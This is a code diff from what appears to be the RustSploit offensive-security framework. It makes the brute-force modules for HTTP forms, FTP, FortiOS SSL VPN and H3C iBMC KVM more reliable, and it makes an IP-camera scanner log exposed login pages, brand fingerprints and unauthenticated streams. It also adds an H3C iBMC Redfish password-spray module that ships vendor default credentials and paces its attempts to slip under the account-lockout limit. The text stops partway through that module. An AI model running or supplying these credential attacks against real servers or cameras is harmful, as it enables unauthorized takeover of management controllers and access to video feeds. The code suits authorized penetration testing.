// Native shape: `run(ctx) -> Result<ModuleOutcome>`.
(@native $category:expr, $name:expr, $interactive:expr) => {
struct __ModuleImpl;
impl ::std::default::Default for __ModuleImpl {
fn default() -> Self { Self }
@@ -648,54 +661,12 @@ macro_rules! __register_native_module_impl {
#[::async_trait::async_trait]
impl $crate::module::Module for __ModuleImpl {
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
fn has_check(&self) -> bool { true }
async fn check(&self, ctx: &$crate::module::ModuleCtx)
-> ::std::option::Option<$crate::module_info::CheckResult>
{
let t = ctx.target.as_legacy_str();
let rc = ctx.build_run_context(t.clone());
let ctx_arc = ::std::sync::Arc::new(rc);
::std::option::Option::Some(
$crate::context::RUN_CONTEXT
.scope(ctx_arc, check(&t))
.await,
)
fn capabilities(&self) -> $crate::module::Capabilities {
$crate::module::Capabilities {
interactive: $interactive,
..::core::default::Default::default()
}
}
async fn run(&self, ctx: &$crate::module::ModuleCtx)
-> ::anyhow::Result<$crate::module::ModuleOutcome>
{
let t = ctx.target.as_legacy_str();
let rc = ctx.build_run_context(t.clone());
let ctx_arc = ::std::sync::Arc::new(rc);
let result = $crate::context::RUN_CONTEXT
.scope(ctx_arc, async move {
let r = run(&t).await;
$crate::context::abort_all_spawned().await;
r
})
.await;
result?;
::std::result::Result::Ok($crate::module::ModuleOutcome::ok())
}
}
inventory::submit! {
$crate::module::ModuleEntry {
category: $category,
name: $name,
factory: || ::std::boxed::Box::new(__ModuleImpl),
}
}
};
// Native shape: `run(ctx) -> Result<ModuleOutcome>`, no `check`.
(@native $category:expr, $name:expr) => {
struct __ModuleImpl;
impl ::std::default::Default for __ModuleImpl {
fn default() -> Self { Self }
}
#[::async_trait::async_trait]
impl $crate::module::Module for __ModuleImpl {
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
fn has_check(&self) -> bool { false }
async fn run(&self, ctx: &$crate::module::ModuleCtx)
-> ::anyhow::Result<$crate::module::ModuleOutcome>
{
@@ -724,51 +695,5 @@ macro_rules! __register_native_module_impl {
}
}
};
// Native shape with `check`: both `run` and `check` take `&ModuleCtx`.
(@native_with_check $category:expr, $name:expr) => {
struct __ModuleImpl;
impl ::std::default::Default for __ModuleImpl {
fn default() -> Self { Self }
}
#[::async_trait::async_trait]
impl $crate::module::Module for __ModuleImpl {
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
fn has_check(&self) -> bool { true }
async fn check(&self, ctx: &$crate::module::ModuleCtx)
-> ::std::option::Option<$crate::module_info::CheckResult>
{
let t = ctx.target.as_legacy_str();
let rc = ctx.build_run_context(t);
let ctx_arc = ::std::sync::Arc::new(rc);
::std::option::Option::Some(
$crate::context::RUN_CONTEXT
.scope(ctx_arc, check(ctx))
.await,
)
}
async fn run(&self, ctx: &$crate::module::ModuleCtx)
-> ::anyhow::Result<$crate::module::ModuleOutcome>
{
let t = ctx.target.as_legacy_str();
let rc = ctx.build_run_context(t);
let ctx_arc = ::std::sync::Arc::new(rc);
let outcome = $crate::context::RUN_CONTEXT
.scope(ctx_arc, async move {
let r = run(ctx).await;
$crate::context::abort_all_spawned().await;
r
})
.await?;
::std::result::Result::Ok(outcome)
}
}
inventory::submit! {
$crate::module::ModuleEntry {
category: $category,
name: $name,
factory: || ::std::boxed::Box::new(__ModuleImpl),
}
}
};
}
-20
View File
@@ -48,26 +48,6 @@ impl std::fmt::Display for ModuleRank {
}
}
/// Result of a non-destructive vulnerability check.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum CheckResult {
Vulnerable(String),
NotVulnerable(String),
Unknown(String),
Error(String),
}
impl std::fmt::Display for CheckResult {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
CheckResult::Vulnerable(msg) => write!(f, "Vulnerable: {}", msg),
CheckResult::NotVulnerable(msg) => write!(f, "Not Vulnerable: {}", msg),
CheckResult::Unknown(msg) => write!(f, "Unknown: {}", msg),
CheckResult::Error(msg) => write!(f, "Error: {}", msg),
}
}
}
/// Pretty-print module info to the console.
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
println!();
@@ -224,23 +224,44 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
body.push_str(&format!("{}={}", key, url_encode(val)));
}
let res = client
// Treat a transient request failure as a retryable/transport error: skip
// this credential and continue, mirroring the FTP/SSH/Telnet loops above
// instead of `?`-aborting the whole HTTP service check.
let res = match client
.post(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = match res.text().await {
Ok(t) => t,
{
Ok(r) => r,
Err(e) => {
tracing::debug!(target = %config.target, port = config.port, "HTTP form response body read failed: {}", e);
String::new()
tracing::trace!(target = %config.target, port = config.port, user = %username, "HTTP form request failed: {}", e);
continue;
}
};
if !body.contains(">Password<") {
let status = res.status();
// A failed body read is a transport error, NOT evidence of valid creds.
// Previously this was mapped to an empty String, which trivially does not
// contain the login-form marker and was misreported as a successful login.
let body = match crate::utils::network::read_http_body_text_capped(res, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(t) => t,
Err(e) => {
tracing::trace!(target = %config.target, port = config.port, user = %username, "HTTP form response body read failed: {}", e);
continue;
}
};
// Require a POSITIVE success signal rather than inferring success from the
// mere absence of the ">Password<" login-form token:
// - HTTP status must indicate success/redirect (200 / 3xx login-redirect)
// - the login form must NO LONGER be presented (no LOGIN_PASSWORD field
// and no ">Password<" prompt — both are present on the re-served form)
let still_login_form =
body.contains(">Password<") || body.contains("LOGIN_PASSWORD");
if (status.is_success() || status.is_redirection()) && !still_login_form && !body.is_empty() {
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
+78 -29
View File
@@ -245,9 +245,9 @@ async fn scan_host(ctx: &ModuleCtx, target: &str, outcome: &mut ModuleOutcome) -
}
ctx.rate_limit(target).await;
check_login_pages(target, &open_ports, &client).await;
check_login_pages(target, &open_ports, &client, outcome).await;
ctx.rate_limit(target).await;
fingerprint_camera(target, &open_ports, &client).await;
fingerprint_camera(target, &open_ports, &client, outcome).await;
// 3. Credential Testing
ctx.rate_limit(target).await;
@@ -255,7 +255,7 @@ async fn scan_host(ctx: &ModuleCtx, target: &str, outcome: &mut ModuleOutcome) -
// 4. Stream Detection
ctx.rate_limit(target).await;
detect_live_streams(target, &open_ports, &rtsp_ports, &client).await;
detect_live_streams(target, &open_ports, &rtsp_ports, &client, outcome).await;
// 5. Additional Information
@@ -421,7 +421,7 @@ async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> b
if let Ok(resp) = c.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let status = resp.status();
let body = match resp.text().await {
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b.to_lowercase(),
Err(e) => {
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
@@ -473,72 +473,98 @@ async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> b
*found.lock().await
}
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
let mut found_count = 0;
for &port in open_ports {
let protocol = get_protocol(port);
for path in COMMON_PATHS {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
status == reqwest::StatusCode::FORBIDDEN {
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
found_count += 1;
// Record the exposed page so it reaches loot/export, not
// just stdout.
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("Exposed camera page {} (HTTP {})", url, status),
data: Some(serde_json::json!({
"url": url,
"port": port,
"path": path,
"status": status.as_u16(),
})),
});
}
}
}
}
if found_count == 0 {
crate::mprintln!(" {} No common login pages found", "[-]".yellow());
}
}
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
let mut found_brand = false;
for &port in open_ports {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
if let Ok(resp) = client.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let body = match resp.text().await {
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b.to_lowercase(),
Err(e) => {
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
String::new()
}
};
if headers.contains("hikvision") || body.contains("hikvision") {
crate::mprintln!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
found_brand = true;
let brand = if headers.contains("hikvision") || body.contains("hikvision") {
Some("Hikvision")
} else if headers.contains("dahua") || body.contains("dahua") {
crate::mprintln!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
found_brand = true;
Some("Dahua")
} else if headers.contains("axis") || body.contains("axis") {
crate::mprintln!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
found_brand = true;
Some("Axis")
} else if body.contains("cp plus") || body.contains("cpplus") {
crate::mprintln!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
found_brand = true;
Some("CP Plus")
} else if body.contains("foscam") || headers.contains("foscam") {
crate::mprintln!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
found_brand = true;
Some("Foscam")
} else if body.contains("vivotek") || headers.contains("vivotek") {
crate::mprintln!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
Some("Vivotek")
} else {
None
};
if let Some(brand) = brand {
crate::mprintln!("🔥 {} on port {}!", format!("{} Camera Detected", brand).bright_red().bold(), port);
found_brand = true;
// Record the fingerprint so it reaches loot/export, not just
// stdout.
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("{} camera fingerprinted on {}:{}", brand, target, port),
data: Some(serde_json::json!({
"brand": brand,
"port": port,
"url": url,
})),
});
}
}
}
if !found_brand {
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
}
@@ -713,7 +739,7 @@ async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool
// STREAM DETECTION
// =================================================================================
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
// Show RTSP links
@@ -772,9 +798,32 @@ async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
found_streams = true;
// Record the exposed/unauthenticated stream so it
// reaches loot/export, not just stdout.
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("Potential exposed camera stream {} (Content-Type: {})", url, ct),
data: Some(serde_json::json!({
"url": url,
"port": port,
"content_type": ct,
"auth_required": false,
})),
});
} else if status == reqwest::StatusCode::UNAUTHORIZED {
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
found_streams = true;
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("Protected camera stream {} (authentication required)", url),
data: Some(serde_json::json!({
"url": url,
"port": port,
"auth_required": true,
})),
});
}
}
}
@@ -86,8 +86,13 @@ async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration)
}
};
let status = resp.status().as_u16();
let txt = match resp.text().await {
Ok(t) => t,
// Cap the body we buffer: the logincheck response is tiny, but a hostile
// or misbehaving endpoint on :443 could stream an unbounded body. Reading
// the raw bytes with a sane cap avoids an OOM, and we only ever inspect a
// short prefix below.
const MAX_BODY: usize = 64 * 1024;
let bytes = match crate::utils::safe_io::read_http_body_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => {
return LoginResult::Error {
message: format!("read body: {e}"),
@@ -95,6 +100,8 @@ async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration)
}
}
};
let capped = &bytes[..bytes.len().min(MAX_BODY)];
let txt = String::from_utf8_lossy(capped).into_owned();
// FortiOS replies with `ret=1,...` on success and `ret=0,error=...` on
// failure. SAML / 2FA replies start with `redir=`.
if txt.starts_with("ret=1") || txt.contains("redir=/sslvpn/") {
@@ -103,7 +110,7 @@ async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration)
LoginResult::AuthFailed
} else {
LoginResult::Error {
message: format!("unexpected response status={status} body={}", &txt[..txt.len().min(80)]),
message: format!("unexpected response status={status} body={}", txt.chars().take(80).collect::<String>()),
retryable: false,
}
}
+18 -3
View File
@@ -144,7 +144,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -166,7 +166,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid FTP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "ftp",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
@@ -180,7 +194,8 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "ftp_results.txt").await?)
let default_name = format!("ftp_results_{}.txt", target.replace(['/', ':', '.', '[', ']', '\\'], "_"));
Some(cfg_prompt_output_file("output_file", "Output file", &default_name).await?)
} else {
None
};
@@ -98,6 +98,19 @@ impl Encoding {
}
}
/// Outcome of a single login attempt. Distinguishes a transport/transient
/// failure (which must NOT be treated as a denied credential) from a genuine
/// authentication rejection.
enum AttemptResult {
/// Endpoint returned a session token — credential is valid.
Hit(String),
/// Endpoint definitively rejected the credential (401/403 or no token).
Denied,
/// Transient transport error (timeout, reset, TLS, connect refused).
/// Retryable; never counts as a denial.
Transient(String),
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
@@ -218,42 +231,101 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
host, path, pairs.len(), encodings.len(), pairs.len() * encodings.len(),
).cyan());
// How many times to re-attempt a single (user, pass, encoding) when the
// endpoint returns a transient transport error before giving up on that
// attempt. Without this, a momentary blip would silently drop a real hit.
const MAX_TRANSIENT_RETRIES: u32 = 3;
let mut found: Vec<(String, String, Encoding, String)> = Vec::new();
let mut tried = 0u64;
'outer: for (user, pass) in &pairs {
for enc in &encodings {
if ctx.is_cancelled() { break 'outer; }
tried += 1;
ctx.rate_limit(target).await;
if let Some(token) = try_login(&client, &host, &path, user, pass, *enc).await {
crate::mprintln!("{}", format!(
"[+] HIT: {}:{} ({}) -> X-Auth-Token={}",
user, pass, enc.label(), token
).green().bold());
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: &host, port, service: "https", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/h3c_oem_kvm_bruteforce",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("H3C iBMC OEM KVM credentials valid {}:{} ({}) on {}", user, pass, enc.label(), host),
data: Some(serde_json::json!({
"service": "https",
"port": port,
"username": user,
"password": pass,
"encoding": enc.label(),
"token": token,
})),
});
found.push((user.clone(), pass.clone(), *enc, token));
if stop_on_hit { break 'outer; }
} else if verbose {
crate::mprintln!("{}", format!(
"[-] {}:{} ({}) — denied", user, pass, enc.label()
).dimmed());
// Retry transient transport errors with exponential backoff so a
// network blip never masquerades as a denied credential.
let mut attempt = 0u32;
let result = loop {
if ctx.is_cancelled() { break 'outer; }
ctx.rate_limit(target).await;
match try_login(&client, &host, &path, user, pass, *enc).await {
AttemptResult::Transient(msg) if attempt < MAX_TRANSIENT_RETRIES => {
attempt += 1;
if verbose {
crate::mprintln!("{}", format!(
"[~] {}:{} ({}) transient error ({}); retry {}/{}",
user, pass, enc.label(), msg, attempt, MAX_TRANSIENT_RETRIES
).dimmed());
}
let backoff = Duration::from_millis(250u64 * (1u64 << (attempt - 1)));
tokio::time::sleep(backoff).await;
continue;
}
other => break other,
}
};
match result {
AttemptResult::Hit(token) => {
crate::mprintln!("{}", format!(
"[+] HIT: {}:{} ({}) -> X-Auth-Token={}",
user, pass, enc.label(), token
).green().bold());
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: &host, port, service: "https", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/h3c_oem_kvm_bruteforce",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("H3C iBMC OEM KVM credentials valid {}:{} ({}) on {}", user, pass, enc.label(), host),
data: Some(serde_json::json!({
"service": "https",
"port": port,
"username": user,
"password": pass,
"encoding": enc.label(),
"token": token,
})),
});
found.push((user.clone(), pass.clone(), *enc, token));
if stop_on_hit { break 'outer; }
}
AttemptResult::Denied => {
if verbose {
crate::mprintln!("{}", format!(
"[-] {}:{} ({}) — denied", user, pass, enc.label()
).dimmed());
}
}
AttemptResult::Transient(msg) => {
// Exhausted retries: surface as a Note so the operator
// knows this pair was NOT actually tested (vs. denied),
// and never treat it as a clean negative.
crate::mprintln!("{}", format!(
"[!] {}:{} ({}) — untested after {} transient error(s): {}",
user, pass, enc.label(), MAX_TRANSIENT_RETRIES, msg
).yellow());
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!(
"H3C iBMC OEM KVM attempt {}:{} ({}) on {} could not be completed (transient error: {}); credential status unknown",
user, pass, enc.label(), host, msg
),
data: Some(serde_json::json!({
"service": "https",
"port": port,
"username": user,
"password": pass,
"encoding": enc.label(),
"error": msg,
"tested": false,
})),
});
}
}
}
}
@@ -271,9 +343,10 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
/// Single login attempt. Returns `Some(token)` on success, `None` on any
/// kind of failure (including 429 — caller may chose to honor Retry-After,
/// but on default builds the endpoint never returns one).
/// Single login attempt. Returns an [`AttemptResult`] that lets the caller
/// distinguish a valid credential (`Hit`) from a genuine rejection (`Denied`)
/// and from a transient transport failure (`Transient`) — the latter must be
/// retried rather than silently recorded as "credential not valid".
async fn try_login(
client: &reqwest::Client,
host: &str,
@@ -281,7 +354,7 @@ async fn try_login(
user: &str,
pass: &str,
enc: Encoding,
) -> Option<String> {
) -> AttemptResult {
let url = format!("https://{}{}", host, path);
let form = [
("username", enc.encode(user)),
@@ -290,7 +363,12 @@ async fn try_login(
("log_type", "1".to_string()),
];
let resp = client.post(&url).form(&form).send().await.ok()?;
let resp = match client.post(&url).form(&form).send().await {
Ok(r) => r,
// Transport-level failures (timeout, connect refused, TLS, reset) are
// transient: they say nothing about whether the credential is valid.
Err(e) => return AttemptResult::Transient(format!("send: {e}")),
};
let status = resp.status();
if status.as_u16() == 429 {
if let Some(retry) = resp.headers().get("Retry-After")
@@ -299,18 +377,28 @@ async fn try_login(
{
tokio::time::sleep(Duration::from_secs(retry.min(60))).await;
}
return None;
// Rate-limited: not a denial — let the caller retry.
return AttemptResult::Transient("429 rate limited".to_string());
}
// 5xx are server-side transient errors, not credential rejections.
if status.is_server_error() {
return AttemptResult::Transient(format!("server error {}", status.as_u16()));
}
if !status.is_success() {
return None;
// 401/403/etc. — a definitive authentication rejection.
return AttemptResult::Denied;
}
let body = resp.text().await.ok()?;
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
// Body read failed mid-stream: transient, not a denial.
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
};
if !body.contains("X-Auth-Token") {
return None;
return AttemptResult::Denied;
}
// Surface the token if we can extract it; otherwise mark hit with a
// placeholder so the caller still records the credential.
extract_token(&body).or_else(|| Some("(present)".into()))
AttemptResult::Hit(extract_token(&body).unwrap_or_else(|| "(present)".into()))
}
fn extract_token(body: &str) -> Option<String> {
@@ -0,0 +1,433 @@
//! H3C iBMC Redfish Session Credential Spray.
//!
//! H3C iBMC firmware exposes the standard Redfish session endpoint at
//! `POST /redfish/v1/SessionService/Sessions`
//! that:
//!
//! * accepts JSON credentials `{"UserName": "...", "Password": "..."}`;
//! * returns `201 Created` with an `X-Auth-Token` header and `Location`
//! header on success, `401 Unauthorized` or `403 Forbidden` on failure;
//! * enforces an account lockout policy — on default H3C iBMC builds the
//! BMC locks an account after **5 failed attempts** for a **5-second
//! lockout duration** (discoverable via the AccountService resource).
//!
//! This module implements a **lockout-aware credential spray** strategy:
//! * Tracks attempts per username and pauses for a configurable cooldown
//! after `lockout_threshold` (default 4) consecutive failures on a
//! given account — one attempt fewer than the BMC's hard limit.
//! * Supports two ordering modes:
//! - **spray** (default) — try password₁ against all users, then
//! password₂ against all users, etc. This is the classic password-
//! spray approach that distributes attempts across accounts.
//! - **sequential** — try all passwords against user₁, then user₂,
//! etc. Suitable when the operator knows lockout is disabled.
//! * Honours `Retry-After` if the server surfaces a 429.
//! * Persists discovered credentials via the project-wide credential
//! store.
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::collections::HashMap;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::network::{build_http_client_with, HttpClientOpts};
use crate::utils::{
cfg_prompt_default,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_yes_no,
normalize_target,
};
const DEFAULT_PORT: u16 = 443;
const DEFAULT_PATH: &str = "/redfish/v1/SessionService/Sessions";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_LOCKOUT_THRESHOLD: i64 = 4;
const DEFAULT_LOCKOUT_COOLDOWN_SECS: i64 = 6;
/// Built-in fallback credential pairs — mostly vendor defaults observed
/// across H3C-OEM hardware deployments. Operators should prefer their own
/// wordlist via `userlist`/`passlist`.
const DEFAULT_CREDS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "Password@_"),
("admin", "Password@123"),
("admin", "h3capadmin"),
("admin", "Admin@9000"),
("Administrator", "Admin@9000"),
("Administrator", "Administrator"),
("sysadmin", "superuser"),
("root", "root"),
("root", "calvin"),
("operator", "operator"),
];
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
crate::mprintln!("{}", "║ H3C iBMC Redfish Session Credential Spray ║".red().bold());
crate::mprintln!("{}", "║ POST /redfish/v1/SessionService/Sessions ║".red());
crate::mprintln!("{}", "║ Lockout-aware: pauses after N attempts per account ║".red());
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
crate::mprintln!();
}
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC Redfish Session Credential Spray".to_string(),
description: "Lockout-aware credential spray against the H3C iBMC Redfish session \
endpoint at POST /redfish/v1/SessionService/Sessions. Default H3C BMCs \
lock accounts after 5 failed attempts for 5 seconds; this module tracks \
per-account attempt counts and automatically pauses before triggering \
lockout. Supports spray (rotate users) and sequential ordering modes. \
A successful hit yields an X-Auth-Token granting full Redfish API access \
(power control, virtual media, configuration)."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/".to_string(),
"https://cwe.mitre.org/data/definitions/307.html".to_string(),
"https://www.dmtf.org/standards/redfish".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: None,
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("h3c_redfish_session_spray requires a single-host target")?;
display_banner();
let mut outcome = ModuleOutcome::ok();
let normalized = normalize_target(target)?;
let host_input = if normalized.is_empty() {
return Err(anyhow!("target is required"));
} else {
normalized
};
// ── Configuration prompts ───────────────────────────────────────────
let port = cfg_prompt_int_range("port", "Target port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
let path = cfg_prompt_default("path", "API path", DEFAULT_PATH).await?;
let timeout_secs = cfg_prompt_int_range("timeout", "Per-attempt timeout (seconds)", DEFAULT_TIMEOUT_SECS as i64, 1, 60).await? as u64;
let lockout_threshold = cfg_prompt_int_range(
"lockout_threshold",
"Max attempts per account before cooldown (BMC locks at 5)",
DEFAULT_LOCKOUT_THRESHOLD,
1, 100,
).await? as u32;
let lockout_cooldown_secs = cfg_prompt_int_range(
"lockout_cooldown_secs",
"Cooldown pause in seconds after threshold (BMC lockout is 5s)",
DEFAULT_LOCKOUT_COOLDOWN_SECS,
1, 300,
).await? as u64;
let spray_mode = cfg_prompt_yes_no(
"spray_mode",
"Spray mode? (rotate users per password — safer for lockout avoidance)",
true,
).await?;
let stop_on_hit = cfg_prompt_yes_no("stop_on_hit", "Stop on first valid credential?", true).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose (log each attempt)", false).await?;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try the built-in default credential list?", true).await?;
let load_user_wordlist = cfg_prompt_yes_no("user_wordlist", "Load a username wordlist?", false).await?;
let user_path = if load_user_wordlist {
Some(cfg_prompt_existing_file("userlist", "Path to username wordlist").await?)
} else { None };
let load_pass_wordlist = cfg_prompt_yes_no("pass_wordlist", "Load a password wordlist?", false).await?;
let pass_path = if load_pass_wordlist {
Some(cfg_prompt_existing_file("passlist", "Path to password wordlist").await?)
} else { None };
// ── Build the candidate list ────────────────────────────────────────
let mut pairs: Vec<(String, String)> = Vec::new();
if use_defaults {
for (u, p) in DEFAULT_CREDS { pairs.push((u.to_string(), p.to_string())); }
}
if let (Some(ufile), Some(pfile)) = (user_path.as_ref(), pass_path.as_ref()) {
let users = read_lines(ufile).await?;
let passwords = read_lines(pfile).await?;
for u in &users {
for p in &passwords {
pairs.push((u.clone(), p.clone()));
}
}
} else if let Some(pfile) = pass_path.as_ref() {
let passwords = read_lines(pfile).await?;
// Default to "admin" if only a password wordlist was given.
let users: Vec<&str> = vec!["admin"];
for u in &users {
for p in &passwords {
pairs.push((u.to_string(), p.clone()));
}
}
} else if let Some(ufile) = user_path.as_ref() {
let users = read_lines(ufile).await?;
for u in &users {
pairs.push((u.clone(), "admin".to_string()));
pairs.push((u.clone(), "password".to_string()));
pairs.push((u.clone(), u.clone()));
}
}
if pairs.is_empty() {
return Err(anyhow!("no candidate credentials configured — pick at least defaults or a wordlist"));
}
// ── Derive ordered attempt list based on spray vs sequential ────────
let ordered_pairs: Vec<(String, String)> = if spray_mode {
// Spray: try password₁ against all users, then password₂, etc.
// Collect unique users and unique passwords (preserving order).
let mut users: Vec<String> = Vec::new();
let mut passwords: Vec<String> = Vec::new();
let mut seen_users = std::collections::HashSet::new();
let mut seen_passwords = std::collections::HashSet::new();
for (u, p) in &pairs {
if seen_users.insert(u.clone()) { users.push(u.clone()); }
if seen_passwords.insert(p.clone()) { passwords.push(p.clone()); }
}
// Re-create the pair list in spray order: for each password, iterate
// all users — but only include pairs that were in the original set.
let pair_set: std::collections::HashSet<(String, String)> = pairs.iter().cloned().collect();
let mut sprayed = Vec::new();
for p in &passwords {
for u in &users {
if pair_set.contains(&(u.clone(), p.clone())) {
sprayed.push((u.clone(), p.clone()));
}
}
}
sprayed
} else {
// Sequential: original order (all passwords per user).
pairs
};
let host = format!("{}:{}", strip_scheme(&host_input), port);
let client = build_http_client_with(
Duration::from_secs(timeout_secs),
HttpClientOpts::permissive_unconditional(),
).context("Failed to build HTTP client")?;
crate::mprintln!("{}", format!(
"[*] Target: https://{}{} ({} pair(s), mode={}, lockout_threshold={}, cooldown={}s)",
host, path, ordered_pairs.len(),
if spray_mode { "spray" } else { "sequential" },
lockout_threshold, lockout_cooldown_secs,
).cyan());
// ── Attempt loop with per-account lockout tracking ──────────────────
// Track consecutive failed attempts per username.
let mut attempt_counts: HashMap<String, u32> = HashMap::new();
let mut found: Vec<(String, String, String)> = Vec::new();
let mut tried = 0u64;
'outer: for (user, pass) in &ordered_pairs {
if ctx.is_cancelled() { break 'outer; }
// Check if we need to cool down for this user.
let count = attempt_counts.entry(user.clone()).or_insert(0);
if *count >= lockout_threshold {
